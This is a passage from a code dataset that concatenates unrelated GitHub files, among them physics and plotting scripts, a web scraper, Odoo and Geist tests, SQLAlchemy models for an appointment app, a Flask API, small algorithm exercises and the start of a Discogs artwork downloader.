\n else:\n leadPho[(int(this_lambda), float(this_ctau))] = len(signalFile)\n totalLead += len(signalFile)\nfor signal in subLeadingSignal:\n this_lambda, this_ctau = extract_num(signal.split('/')[-1])\n signalFile = pd.read_csv(signal)\n if (int(this_lambda), float(this_ctau)) in secondPho:\n secondPho[(int(this_lambda), float(this_ctau))] += len(signalFile) \n else:\n secondPho[(int(this_lambda), float(this_ctau))] = len(signalFile)\n\n totalSecond += len(signalFile)\n\nleadPhoTable = PrettyTable([\"Lambda\", \"ctau\", \"Count\", \"Percentage (%)\"])\nfor i, element in enumerate(leadPho):\n leadPhoTable.add_row([element[0], element[1], leadPho[element], \"{:.2f}\".format(float(leadPho[element])/totalLead * 100)])\n\nleadPhoTable.sortby = \"Count\"\nprint(leadPhoTable)\n\nsecondPhoTable = PrettyTable([\"Index\", \"Lambda\", \"ctau\", \"Count\", \"Percentage (%)\"])\nfor i, element in enumerate(secondPho):\n secondPhoTable.add_row([i, element[0], element[1], secondPho[element], \"{:.2f}\".format(float(secondPho[element])/totalSecond * 100)])\nsecondPhoTable.sortby = \"Count\"\n\nprint(secondPhoTable)\n\nprint(\"Total number of leading photons: {}\".format(totalLead))\nprint(\"Total number of subleading photons: {}\".format(totalSecond))\n\n","repo_name":"xoqhdgh1002/DelayedPhotonID","sub_path":"preprocessing/signalCount.py","file_name":"signalCount.py","file_ext":"py","file_size_in_byte":2755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"35720973350","text":"import numpy as np\nimport matplotlib as mpl\n#mpl.use('Agg')\nimport matplotlib.pyplot as plt\nimport mpl_toolkits.axisartist as axisartist\nfrom scipy import signal\n\n# cm inch transfer for matplotlib\ndef cm2inch(*tupl):\n inch = 2.54\n return tuple(i/inch for i in tupl)\n\n# figure and axes parameters\n# total width is fixed, for one column plot\n\n## for manuscript\n#plot_width = 9.0\n#margin_left = 1.5\n#margin_right = 0.1\n#margin_bottom = 1.2\n#margin_top = 0.2\n#space_width = 1.0\n#space_height = 0.5\n#ftsize = 9\n\n# for slides\nplot_width = 10.0\nmargin_left = 2.5\nmargin_right = 0.1\nmargin_bottom = 1.8\nmargin_top = 0.2\nspace_width = 1.0\nspace_height = 0.5\nftsize = 20\n\nfont = {'family':'serif',\n 'weight':'normal',\n 'size':ftsize}\n\n# use TEX for interpreter\nplt.rc('text',usetex=True)\nplt.rc('text.latex', preamble=[r'\\usepackage{amsmath}',r'\\usepackage{bm}'])\n# use serif font\nplt.rc('font',**font)\n\nnum_cols = 1\nnum_rows = 1\n\nsubplot_width = (plot_width\n -margin_left\n -margin_right\n -(num_cols-1)*space_width)/num_cols\nsubplot_height = subplot_width * 0.8\n\nplot_height = (num_rows*subplot_height\n +margin_bottom\n +margin_top\n +(num_rows-1)*space_height)\n\nD = 4.4/1000\nU = 8.76\nF_sample = 5000\n\nfilename = 'POD_coef.csv'\ndata = np.genfromtxt( filename, names=True, delimiter=',' )\n\nnum_mode = len(data.dtype) - 2\nnum_snapshots = data.size\n\nfor i in range(num_mode):\n fig, ax = plt.subplots(num_rows,num_cols,\n figsize=cm2inch(plot_width,plot_height))\n\n f, d = signal.welch(data['V{:d}'.format(i)]*data['sigma'][i],\n fs=F_sample,\n nperseg=512\n )\n\n ax.plot( f*D/U, d, 'k-', lw=1 )\n\n ax.set_yscale('log')\n ax.set_ylim(1.e-3, 4.e5)\n yticks = np.logspace(-3,5,num=9)\n ax.set_yticks(yticks)\n #ax.set_yticklabels(yticks, ha='left', va='center')\n\n ax.set_xlim(0,2500*D/U)\n\n ax.set_xlabel('St')\n ax.set_ylabel('PSD')\n\n fig.subplots_adjust(\n left = margin_left/plot_width,\n bottom = margin_bottom/plot_height,\n right = 1.0-margin_right/plot_width,\n top = 1.0-margin_top/plot_height,\n wspace = space_width/subplot_width,\n hspace = space_height/subplot_height\n )\n\n fig.savefig('fig_POD_PSD_mode{:d}.eps'.format(i))\n fig.savefig('fig_POD_PSD_mode{:d}.png'.format(i))\n\n plt.close()\n","repo_name":"Combustion-Zhen/POD","sub_path":"plot_POD_PSD.py","file_name":"plot_POD_PSD.py","file_ext":"py","file_size_in_byte":2521,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"31"} +{"seq_id":"20602535818","text":"import configuration as cfg\nimport urllib3\nimport os\nimport re\n\n\nclass Scraper:\n def __init__(self):\n self.http = urllib3.PoolManager()\n self.data = b\"\"\n\n def refresh(self, url):\n header = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1;Win64; x64)'}\n r = self.http.request('GET', url, headers=header)\n if r.status == 200:\n self.data = r.data\n else:\n print(f\"Error when requesting {url}\")\n\n def find(self, regex):\n if not regex:\n return None\n source = self.data.decode('utf8')\n matches = re.findall(regex, source)\n return matches\n\n def save(self, folder, filename):\n os.makedirs(folder, exist_ok=True)\n filename = filename.replace(\" \", \"_\")\n filename = filename.replace(\":\", \"-\")\n with open(os.path.join(folder, filename), 'w', encoding=\"utf\") as f:\n f.write(self.data.decode('utf8'))\n\n\nif __name__ == \"__main__\":\n c = cfg.get_configuration()\n s = Scraper()\n for i in c.scraper.items:\n if not i.enabled:\n continue\n print(i.name)\n s.refresh(i.url)\n print(s.find(i.sold_out_regex))\n print(s.find(i.price_regex))\n s.save(c.notifier.output_path, f\"test_{i.name}.html\")\n","repo_name":"zeibou/ItemMonitor","sub_path":"Scraper.py","file_name":"Scraper.py","file_ext":"py","file_size_in_byte":1277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40694495607","text":"from odoo.exceptions import ValidationError\n\nfrom .common import TestProjectCases\n\n\nclass ProjectTaskMaterial(TestProjectCases):\n def test_manager_add_task_material_wrong(self):\n \"\"\"\n TEST CASE 1\n The user is adding some materials in the task\n with different wrong values\n\n \"\"\"\n try:\n # Material with `quantity = 0.0`\n self.action.write(\n {\n \"material_ids\": [\n (0, 0, {\"product_id\": self.product.id, \"quantity\": 0.0})\n ]\n }\n )\n except ValidationError as err:\n self.assertEqual(\n str(err.args[0]),\n \"Quantity of material consumed must be greater than 0.\",\n )\n\n try:\n # Material with `negative quantity`\n self.action.write(\n {\n \"material_ids\": [\n (0, 0, {\"product_id\": self.product.id, \"quantity\": -10.0})\n ]\n }\n )\n except ValidationError as err:\n self.assertEqual(\n str(err.args[0]),\n \"Quantity of material consumed must be greater than 0.\",\n )\n\n def test_manager_add_task_material_right(self):\n \"\"\"\n TEST CASE 2\n The user is adding some materials in the task\n with right values\n\n \"\"\"\n # Material with `quantity = 1.0`\n self.action.write(\n {\"material_ids\": [(0, 0, {\"product_id\": self.product.id, \"quantity\": 4.0})]}\n )\n self.assertEqual(len(self.task.material_ids.ids), 1)\n","repo_name":"OCA/project","sub_path":"project_task_material/tests/test_create_material_lines.py","file_name":"test_create_material_lines.py","file_ext":"py","file_size_in_byte":1668,"program_lang":"python","lang":"en","doc_type":"code","stars":235,"dataset":"github-code","pt":"31"} +{"seq_id":"41733841501","text":"import utils\nfrom scipy import stats\nfrom matplotlib import pyplot as plt\nimport pandas\nimport numpy\nimport seaborn as sns\nplt.rcParams.update({'font.size': 18})\nresultsdictionary = utils.create_resultsdictionary()\n#fig, axs = plt.subplots(ncols=, figsize=[15,8])\n\nperiod = 'mon'\nvariable = 'sivol'\nthreshold = '30'\n\n\nprint(variable, period, threshold)\nmodels = resultsdictionary[variable][period][threshold]\n#models.sort()\ndfa = pandas.concat([resultsdictionary[variable][period][threshold][model]['pa_we_co'] for model in models], axis=1, keys=models)\ndfb = pandas.concat([resultsdictionary[variable][period][threshold][model]['pa_we_op'] for model in models], axis=1, keys=models)\n#df\n#breakpoint()\n#sns.load_dataset(df)\n#complete = agg(ice_var='siconc', area_var='pa_we', period=period, method='mean').T['mean']\nif variable == 'siconc':\n startyear = 1979\nelif variable == 'sivol':\n startyear = 1850\ndf2a = dfa[(dfa.index.month >= 5) & (dfa.index.month <= 11) & (dfa.index.year >= startyear) & (\n dfa.index.dayofyear < 320)].groupby(pandas.Grouper(freq='A')).mean()\ndf2b = dfb[(dfb.index.month >= 5) & (dfb.index.month <= 11) & (dfb.index.year >= startyear) & (\n dfb.index.dayofyear < 320)].groupby(pandas.Grouper(freq='A')).mean()\n\ndf2a['seab_area'] = 'pa_we_co' \ndf2b['seab_area'] = 'pa_we_op'\n\ndf2a = df2a.sort_index(axis = 1) \ndf2b = df2b.sort_index(axis = 1) \n\ndfc = pandas.concat([df2a, df2b], axis=0)\n#breakpoint()\nfig, axs = plt.subplots(ncols=2, nrows=2, figsize=[15,15], gridspec_kw=dict(width_ratios=[len(df2a.keys()),1]), \n sharey=True)\n\ndf2a = df2a.drop(['seab_area'], axis=1)\ndf2b = df2b.drop(['seab_area'], axis=1)\n\nyscaling = 10e9\nymax = 3e11/yscaling\nymin = -0.01e11/yscaling\n\ng = sns.violinplot(data=df2a/yscaling, scale='width', inner=\"points\", ax=axs[0][0], order=df2a.keys()[:-1])#,\ng.scatter(x=range(0,len(models)), y=df2a.mean()/yscaling, color='white', zorder=100, s=50)\ng.set_xticklabels(labels=df2a.keys()[:-1] ,rotation=90)\ng.set_title('coastal')\ng.set_ylabel('polynya areas in 10³km²')\ng.set_ylim(ymin, ymax)\n\ng = sns.violinplot(data=df2a['OBS']/yscaling, scale='width', inner=\"points\", ax=axs[0][1])#,\ng.set_xticklabels(labels=['OBSERVATIONS\\n(2010-2020)'] ,rotation=90, color=\"red\")\ng.scatter(x=0, y=df2a['OBS'].mean()/yscaling, color='white', zorder=100, s=50, edgecolor='black')\n#g.set_title('coastal')\ng.set_ylim(ymin, ymax)\n\ng = sns.violinplot(data=df2b/yscaling, scale='width', inner=\"points\", ax=axs[1][0])#, color='white')\ng.scatter(x=range(0,len(models)), y=df2b.mean()/yscaling, color='white', edgecolor='black', zorder=100, s=50)\ng.set_xticklabels(labels=df2a.keys()[:-1] ,rotation=90)\ng.set_title('open water')\ng.set_ylim(ymin, ymax)\n\ng = sns.violinplot(data=df2b['OBS']/yscaling, scale='width', inner=\"points\", ax=axs[1][1])#,\ng.set_xticklabels(labels=['OBSERVATIONS\\n(2010-2020)'] ,rotation=90, color=\"red\")\ng.scatter(x=0, y=df2b['OBS'].mean()/yscaling, color='white', zorder=100, s=50)\n#g.set_title('coastal')\ng.set_ylim(ymin, ymax)\n\nplt.tight_layout()\nplt.savefig('violinplots_%s_%s_%s.png'%(variable, period, threshold), dpi=100)","repo_name":"MartinMohrmann/Southern-Ocean-polynyas-in-CMIP6-models","sub_path":"violinplots.py","file_name":"violinplots.py","file_ext":"py","file_size_in_byte":3111,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"25481547445","text":"from mongokit import Document, Connection\n\nimport datetime\n\nclass World(Document):\n\t__collection__ = 'worlds'\n\t__database__ = 'worlds'\n\n\t_map = []\n\tmax_world_size = 40\n\n\tstructure = {\n\t\t'name': basestring,\n\t\t'width': int,\n\t\t'height': int,\n\t\t'cells': list,\n\t\t'islands': list,\n\t\t'size': int\n\t}\n\n\trequired_fields = []\n\n\tdefault_values = {\n\t}\n\n\n\tdef create(self):\n\t\tself['name'] = 'Hey yo!2'\n\t\tself['size'] = self.max_world_size\n\t\tself['cells'] = self.cells()\n\t\tself.save()\n\t\treturn self\n\n\n\tdef cells(self): \n\t\tdel self._map[:]\n\n\t\tfor rows in range(self.max_world_size):\n\t\t\tline = []\n\t\t\tfor cols in range(self.max_world_size):\n\t\t\t\tline.append({});\n\t\t\tself._map.append(line);\n\n\t\treturn self._map\n","repo_name":"darrenmoore/Settlers","sub_path":"Server/src/models/world.py","file_name":"world.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"39801676539","text":"import enum\nfrom enum import auto\n\nfrom sqlalchemy import (\n Boolean,\n Column,\n Enum,\n ForeignKey,\n Integer,\n String,\n UniqueConstraint,\n)\nfrom sqlalchemy.dialects.postgresql import UUID\nfrom sqlalchemy.orm import relationship\nfrom sqlalchemy.sql.expression import text\nfrom sqlalchemy.sql.sqltypes import ARRAY, DATE, TIMESTAMP\n\nfrom .database import Base\n\n\nclass User(Base):\n __tablename__ = \"users\"\n id = Column(\n UUID(as_uuid=True),\n primary_key=True,\n nullable=False,\n server_default=text(\"gen_random_uuid()\"),\n )\n email = Column(String, nullable=False, unique=True)\n name = Column(String, nullable=False)\n surname = Column(String, nullable=False)\n gender = Column(String, nullable=False)\n permission_level = Column(\n ARRAY(item_type=String), nullable=False, server_default=\"{user}\"\n )\n verified = Column(Boolean, nullable=False, server_default=\"false\")\n disabled = Column(Boolean, nullable=False, server_default=\"false\")\n created_at = Column(\n TIMESTAMP(timezone=False),\n nullable=False,\n server_default=text(\"(now() at time zone('utc'))\"),\n )\n settings = relationship(\"Setting\")\n\n\nclass Password(Base):\n __tablename__ = \"passwords\"\n id = Column(Integer, primary_key=True, nullable=False)\n password_hash = Column(String, nullable=False)\n user_id = Column(UUID(as_uuid=True), ForeignKey(\"users.id\"), nullable=False)\n current = Column(Boolean, nullable=False)\n created_at = Column(\n TIMESTAMP(timezone=False),\n nullable=False,\n server_default=text(\"(now() at time zone('utc'))\"),\n )\n\n\nclass Session(Base):\n __tablename__ = \"sessions\"\n id = Column(\n UUID(as_uuid=True),\n primary_key=True,\n nullable=False,\n server_default=text(\"gen_random_uuid()\"),\n )\n user_id = Column(UUID(as_uuid=True), ForeignKey(\"users.id\"), nullable=False)\n access_token = Column(String, nullable=False)\n refresh_token = Column(String, nullable=False)\n sign_in_user_agent = Column(String, nullable=False)\n sign_in_ip_address = Column(String, nullable=False)\n last_user_agent = Column(String, nullable=False)\n last_ip_address = Column(String, nullable=False)\n last_accessed = Column(\n TIMESTAMP(timezone=False),\n nullable=False,\n server_default=text(\"(now() at time zone('utc'))\"),\n )\n sudo_mode_activated = Column(TIMESTAMP(timezone=False))\n sudo_mode_expires = Column(TIMESTAMP(timezone=False))\n first_accessed = Column(\n TIMESTAMP(timezone=False),\n nullable=False,\n server_default=text(\"(now() at time zone('utc'))\"),\n )\n fcm_token = relationship(\"FcmToken\", cascade=\"all,delete\", backref=\"parent\")\n\n\nclass EmailRequests(Base):\n __tablename__ = \"email_requests\"\n id = Column(Integer, primary_key=True, nullable=False)\n user_id = Column(UUID(as_uuid=True), ForeignKey(\"users.id\"), nullable=False)\n request_type = Column(String, nullable=False)\n request_token = Column(String, nullable=False)\n created_at = Column(\n TIMESTAMP(timezone=False),\n nullable=False,\n server_default=text(\"(now() at time zone('utc'))\"),\n )\n UniqueConstraint(\"user_id\", \"request_type\", name=\"limit_email_requests\")\n\n\nclass Service(Base):\n __tablename__ = \"services\"\n id = Column(\n UUID(as_uuid=True),\n primary_key=True,\n nullable=False,\n server_default=text(\"gen_random_uuid()\"),\n )\n min_price = Column(Integer, nullable=False)\n max_price = Column(Integer, nullable=False)\n average_time_minutes = Column(Integer, nullable=False)\n required_slots = Column(Integer, nullable=False)\n available = Column(Boolean, nullable=False, server_default=text(\"true\"))\n deleted = Column(Boolean, nullable=False, server_default=text(\"false\"))\n created_at = Column(\n TIMESTAMP(timezone=False),\n nullable=False,\n server_default=text(\"(now() at time zone('utc'))\"),\n )\n\n\nclass ServiceTranslations(Base):\n __tablename__ = \"service_translations\"\n id = Column(Integer, primary_key=True, nullable=False)\n service_id = Column(UUID(as_uuid=True), ForeignKey(\"services.id\"), nullable=False)\n language_id = Column(Integer, ForeignKey(\"languages.id\"), nullable=False)\n name = Column(String, nullable=False, unique=True)\n description = Column(String)\n UniqueConstraint(\"service_id\", \"language_id\", name=\"one_translation_per_language\")\n service = relationship(\"Service\")\n\n\nclass ServiceEvent(Base):\n __tablename__ = \"service_events\"\n id = Column(\n UUID(as_uuid=True),\n primary_key=True,\n nullable=False,\n server_default=text(\"gen_random_uuid()\"),\n )\n event_type = Column(String, nullable=False)\n performed_by_user_id = Column(\n UUID(as_uuid=True), ForeignKey(\"users.id\"), nullable=False\n )\n performed_on_service_id = Column(\n UUID(as_uuid=True), ForeignKey(\"services.id\"), nullable=False\n )\n performed_by = relationship(\"User\", foreign_keys=[performed_by_user_id])\n performed_on = relationship(\"Service\", foreign_keys=[performed_on_service_id])\n performed_at = Column(\n TIMESTAMP(timezone=False),\n nullable=False,\n server_default=text(\"(now() at time zone('utc'))\"),\n )\n\n\nclass PermissionEventType(enum.Enum):\n user_ban = auto()\n user_unban = auto()\n\n\nclass PermissionEvent(Base):\n __tablename__ = \"permission_events\"\n id = Column(\n UUID(as_uuid=True),\n primary_key=True,\n nullable=False,\n server_default=text(\"gen_random_uuid()\"),\n )\n event_type = Column(\n Enum(PermissionEventType, name=\"permission_event_type\"), nullable=False\n )\n performed_by_user_id = Column(\n UUID(as_uuid=True), ForeignKey(\"users.id\"), nullable=False\n )\n performed_on_user_id = Column(\n UUID(as_uuid=True), ForeignKey(\"users.id\"), nullable=False\n )\n performed_by = relationship(\"User\", foreign_keys=[performed_by_user_id])\n performed_on = relationship(\"User\", foreign_keys=[performed_on_user_id])\n performed_at = Column(\n TIMESTAMP(timezone=False),\n nullable=False,\n server_default=text(\"(now() at time zone('utc'))\"),\n )\n\n\nclass AppointmentSlot(Base):\n __tablename__ = \"appointment_slots\"\n id = Column(\n UUID(as_uuid=True),\n primary_key=True,\n nullable=False,\n server_default=text(\"gen_random_uuid()\"),\n )\n occupied = Column(Boolean, nullable=False, server_default=\"false\")\n occupied_by_appointment = Column(\n UUID(as_uuid=True), ForeignKey(\"appointments.id\", use_alter=True)\n )\n reserved = Column(Boolean, nullable=False, server_default=\"false\")\n reserved_reason = Column(String)\n holiday = Column(Boolean, nullable=False, server_default=\"false\")\n sunday = Column(Boolean, nullable=False, server_default=\"false\")\n break_time = Column(Boolean, nullable=False, server_default=\"false\")\n holiday_id = Column(Integer, ForeignKey(\"holidays.id\"))\n date = Column(DATE, nullable=False)\n start_time = Column(TIMESTAMP(timezone=True), unique=True)\n end_time = Column(TIMESTAMP(timezone=True), unique=True)\n appointment = relationship(\n \"Appointment\",\n cascade=\"all,delete\",\n backref=\"parent\",\n foreign_keys=[occupied_by_appointment],\n )\n holiday_info = relationship(\"Holiday\")\n UniqueConstraint(\"date\", \"start_time\", \"end_time\", name=\"appointment_slots_unique\")\n\n\nclass Appointment(Base):\n __tablename__ = \"appointments\"\n id = Column(\n UUID(as_uuid=True),\n primary_key=True,\n nullable=False,\n server_default=text(\"gen_random_uuid()\"),\n )\n service_id = Column(UUID(as_uuid=True), ForeignKey(\"services.id\"), nullable=False)\n user_id = Column(UUID(as_uuid=True), ForeignKey(\"users.id\"), nullable=False)\n start_slot_id = Column(\n UUID(as_uuid=True), ForeignKey(\"appointment_slots.id\"), nullable=False\n )\n end_slot_id = Column(\n UUID(as_uuid=True), ForeignKey(\"appointment_slots.id\"), nullable=False\n )\n canceled = Column(Boolean, nullable=False, server_default=\"false\")\n created_at = Column(\n TIMESTAMP(timezone=False),\n nullable=False,\n server_default=text(\"(now() at time zone('utc'))\"),\n )\n start_slot = relationship(\n \"AppointmentSlot\", cascade=\"all,delete\", foreign_keys=[start_slot_id]\n )\n end_slot = relationship(\n \"AppointmentSlot\", cascade=\"all,delete\", foreign_keys=[end_slot_id]\n )\n service = relationship(\"Service\")\n user = relationship(\"User\")\n\n\nclass FcmToken(Base):\n __tablename__ = \"fcm_tokens\"\n id = Column(Integer, primary_key=True, nullable=False)\n token = Column(String, nullable=False, unique=True)\n user_id = Column(UUID(as_uuid=True), ForeignKey(\"users.id\"), nullable=False)\n session_id = Column(\n UUID(as_uuid=True), ForeignKey(\"sessions.id\"), nullable=False, unique=True\n )\n last_updated_at = Column(\n TIMESTAMP(timezone=False),\n nullable=False,\n server_default=text(\"(now() at time zone('utc'))\"),\n )\n\n\nclass Setting(Base):\n __tablename__ = \"settings\"\n id = Column(Integer, primary_key=True, nullable=False)\n user_id = Column(UUID(as_uuid=True), ForeignKey(\"users.id\"), nullable=False)\n name = Column(String, nullable=False)\n default_value = Column(String)\n current_value = Column(String, nullable=False)\n created_at = Column(\n TIMESTAMP(timezone=False),\n nullable=False,\n server_default=text(\"(now() at time zone('utc'))\"),\n )\n UniqueConstraint(\"user_id\", \"name\", name=\"unique_user_settings\")\n\n\nclass Holiday(Base):\n __tablename__ = \"holidays\"\n id = Column(Integer, primary_key=True, nullable=False)\n translation = relationship(\"HolidayTranslations\")\n\n\nclass HolidayTranslations(Base):\n __tablename__ = \"holiday_translations\"\n id = Column(Integer, primary_key=True, nullable=False)\n holiday_id = Column(Integer, ForeignKey(\"holidays.id\"), nullable=False)\n language_id = Column(Integer, ForeignKey(\"languages.id\"), nullable=False)\n name = Column(String, nullable=False, unique=True)\n UniqueConstraint(\"holiday_id\", \"language_id\", name=\"one_translation_per_language\")\n\n\nclass Language(Base):\n __tablename__ = \"languages\"\n id = Column(Integer, primary_key=True, nullable=False)\n code = Column(String, nullable=False, unique=True)\n name = Column(String, nullable=False, unique=True)\n","repo_name":"MePhew-GonteQ-Industries/zolza-hairstyles-api","sub_path":"src/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":10524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33113766255","text":"import unittest\nimport numpy as np\nfrom geist import GUI, BinaryRegionFinder, Location, DirectoryRepo\nfrom geist.backends.fake import GeistFakeBackend\nfrom geist.pyplot import Viewer\n\n\nclass TestViewer(unittest.TestCase):\n def setUp(self):\n self.repo = DirectoryRepo('test_repo')\n self.gui = GUI(GeistFakeBackend(image=np.array(\n [[[255, 0, 0], [240, 10, 10], [0, 255, 0], [0, 0, 255]],\n [[255, 0, 0], [240, 10, 10], [0, 255, 0], [0, 0, 255]],\n [[255, 0, 0], [240, 10, 10], [0, 255, 0], [0, 0, 255]],\n [[255, 0, 0], [240, 10, 10], [0, 255, 0], [0, 0, 255]]])))\n self.V = Viewer(self.gui, self.repo)\n self.screen = self.gui.capture_locations()[0]\n self.red = np.array([[[255, 0, 0]]])\n self.more_reds = np.array([[[255, 0, 0], [240, 10, 10]]])\n\n def test_get_colour(self):\n red = self.V._get_colour(self.red)\n result = self.gui.find_all(BinaryRegionFinder(red))\n expected = [Location(0, 0, w=1, h=4, parent=self.screen)]\n self.assertListEqual(result, expected)\n\n def test_get_colour_range(self):\n reds = self.V._get_colour(self.more_reds)\n result = self.gui.find_all(BinaryRegionFinder(reds))\n expected = [Location(0, 0, w=2, h=4, parent=self.screen)]\n self.assertListEqual(result, expected)\n\n def test_save(self):\n self.V._save('test_file', np.array([0]))\n self.assertIn('test_file', self.repo.entries)\n\n def test_save_overwrite(self):\n self.V._save('test_file', np.array([0]))\n with self.assertRaises(KeyError):\n self.V._save('test_file', np.array([1]))\n\n def test_save_force(self):\n self.V._save('test_file', np.array([0]))\n self.V._save('test_file', np.array([1]), force=True)\n self.assertEqual(self.repo['test_file'].image, np.array([1]))\n\n def tearDown(self):\n if 'test_file' in self.repo.entries:\n del self.repo['test_file']\n\n\nviewer_suite = unittest.TestLoader().loadTestsFromTestCase(TestViewer)\nall_tests = unittest.TestSuite([viewer_suite])\nif __name__ == \"__main__\":\n runner = unittest.TextTestRunner(verbosity=1)\n runner.run(all_tests)\n","repo_name":"ten10solutions/Geist","sub_path":"geist_tests/test_viewer.py","file_name":"test_viewer.py","file_ext":"py","file_size_in_byte":2198,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"31"} +{"seq_id":"13283110382","text":"from flask import render_template, Blueprint, jsonify, request\nfrom flask_restful import Resource, Api\n\ninstruments_blueprint = Blueprint('instruments', __name__)\n\napi = Api(instruments_blueprint)\n\nclass BassAPI(Resource):\n def get(self):\n return [\n {\n \"id\": 11,\n \"make\": \"Ernie Ball\",\n \"model\": \"Joe Dart Signature Sterling\",\n \"color\": \"natural\"\n },\n {\n \"id\": 12,\n \"make\": \"Fender\",\n \"model\": \"Marcus Miller Signature Jazz\",\n \"color\": \"natural\"\n },\n {\n \"id\": 13,\n \"make\": \"Fender\",\n \"model\": \"Flea Relic Jazz Bass\",\n \"color\": \"shell pink\"\n },\n {\n \"id\": 14,\n \"make\": \"Squier\",\n \"model\": \"Fretless Vintage Modified\",\n \"color\": \"sunburst\"\n }\n ]\n\n def post(self):\n my_json = request.get_json()\n return {'you sent': my_json}, 201\n\napi.add_resource(BassAPI, '/basses')\n\n@instruments_blueprint.route('/')\n@instruments_blueprint.route('/bass')\ndef index():\n return render_template('index.html')","repo_name":"besseddrest/python-webpack-react","sub_path":"templates/instruments/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1054,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"24814449138","text":"def swapsort(lst):\n length = len(lst)\n for i in range(0, length-1):\n for j in range(i+1, length):\n if lst[i] > lst[j]:\n # swap lst[i], lst[j]\n lst[i], lst[j] = lst[j], lst[i]\n return lst\n\ndef test_swapsort():\n # lst = [ 9, 4, 3, 10, 7, 13, 2]\n lst = [9, 4, 3, 10, 7, 13, 2]\n lst_copy = lst[:]\n sorted_list = swapsort(lst)\n if sorted_list == sorted(lst_copy):\n print(\"test swapsort OK!\")\n else:\n print(\"test swapsort failed\")\n\nif __name__ == \"__main__\":\n test_swapsort()\n","repo_name":"forin-xyz/forin-xyz.github.io","sub_path":"src/sorts/swapsort.py","file_name":"swapsort.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"37496636886","text":"class Solution:\n def intersectionSizeTwo(self, intervals: list[list[int]]) -> int:\n intervals.sort(key=lambda x: (x[1], -x[0]))\n temp = [-1, -1]\n for x in intervals:\n if x[0] <= temp[-2]:\n continue\n\n if x[0] > temp[-1]:\n temp.append(x[-1] - 1)\n temp.append(x[1])\n return len(temp) - 2\n\nintervals = [[1, 3], [1, 4], [2, 5], [3, 5]]\na = Solution()\nans = a.intersectionSizeTwo(intervals)\nprint(ans)","repo_name":"qbnmmm/leetcode","sub_path":"每日一题/220722_757. 设置交集大小至少为2.py","file_name":"220722_757. 设置交集大小至少为2.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"35707176254","text":"import logging\nlogger = logging.getLogger('artwork')\n\nfrom collections import namedtuple\nimport json\nimport os\nimport random\nimport time\nimport urllib.request\nimport urllib.error\nimport urllib.parse\n\nclass ArtworkError(Exception):\n \"\"\"Base class for artwork errors.\"\"\"\n pass\n\nclass ImageNotFoundError(ArtworkError):\n \"\"\"Raised when no image could be found in a Discogs release.\"\"\"\n pass\n\nclass ReleaseNotFoundError(ArtworkError):\n \"\"\"Raised when no Discogs release could be found.\"\"\"\n pass\n\nclass ResourceError(ArtworkError):\n \"\"\"Raised when an error occurs while opening a URL.\"\"\"\n pass\n\nclass DiskError(ArtworkError):\n \"\"\"Raised when an OSError occurs while writing an image to disk, or\n when artwork.directory (if set) does not exist and could not be \n created.\n \"\"\"\n pass\n\ndirectory='~/.covers'\n\"\"\"The directory where to load or save the images, default ~/.covers.\"\"\"\n\n_version = 0.1\n_url = 'https://github.com/vetl/discogs-artwork'\n\n_candidate_exts = ('jpeg', 'jpg', 'png')\n_Image = namedtuple('_Image', ('url', 'height', 'width'))\n\n_discogs_api_url = 'http://api.discogs.com/'\n_discogs_api_search = 'database/search'\n_discogs_api_headers = {\n 'User-Agent': 'artwork.py/{ver} +{url}'.format(ver=_version, url=_url),\n}\n\n\ndef get_largest(artist, album, year=None):\n \"\"\"Download the largest image findable and return its path on disk.\n \n Search for Discogs releases matching the given parameters. Search \n all releases for their images and download the largest image of \n all images in all releases.\n \n If a release has a primary image, take that image to compare it \n with the images of other releases. If a release only has secondary \n images, take all those to compare with the images of other \n releases.\n \n This is a very slow and expensive way to retrieve artwork, but will\n generally return a high quality image.\n \n Raises ReleaseNotFoundError if no Discogs releases could be found \n for the given parameters. Raises ImageNotFoundError if no image \n could be found in any of the releases. Raises ResourceError if an \n error occurs while opening a URL, eg. when retrieving a list of \n Discogs releases or downloading an image. Raises DiskError if an\n image could not be saved to disk.\n \n Arguments:\n artist -- the artist\n album -- the album by the artist\n \n Keyword arguments:\n year -- the release year of the album (default None)\n \"\"\"\n time_begin = time.time()\n releases = _fetch_discogs_releases(artist, album, year=year)\n images = list()\n for release in releases:\n try:\n images.append(_fetch_discogs_image_resources(release))\n except ImageNotFoundError:\n pass\n largest_image, largest_size = None, 0\n for image_resources in images:\n for image in image_resources:\n if image.width * image.height > largest_size:\n largest_image = image\n if not largest_image:\n message = (\"no image found for '{album}' by '{artist}'\"\n \"\".format(artist=artist, album=album))\n logger.error(message)\n raise ImageNotFoundError(message)\n target = _create_target(largest_image.url, artist, album, year=year)\n target = _save_image_to_disk(largest_image.url, target)\n time_end = time.time()\n logger.debug(\"retrieving image took {:.3g} seconds\"\n \"\".format(time_end - time_begin))\n return target\n\n\ndef get_random(artist, album, year=None):\n \"\"\"Download an image and return its path on disk.\n \n Search for Discogs releases matching the given parameters. Take a \n random release from the list and search it for images. Download the\n primary image of the release if available. If no primary images are\n found, download a randomly selected secondary image of the release.\n \n This is the fastest and least expensive way to retrieve artwork, \n but does not garantuee a high quality image.\n \n Raises ImageNotFoundError if no image could be found in the used \n release. You might want to catch this error and try again to find \n an image in another (randomly selected) release. \n \n Raises ReleaseNotFoundError if no Discogs releases could be found \n for the given parameters. Raises ResourceError if an error occurs \n while opening a URL, eg. when retrieving a list of Discogs releases\n or downloading an image. Raises 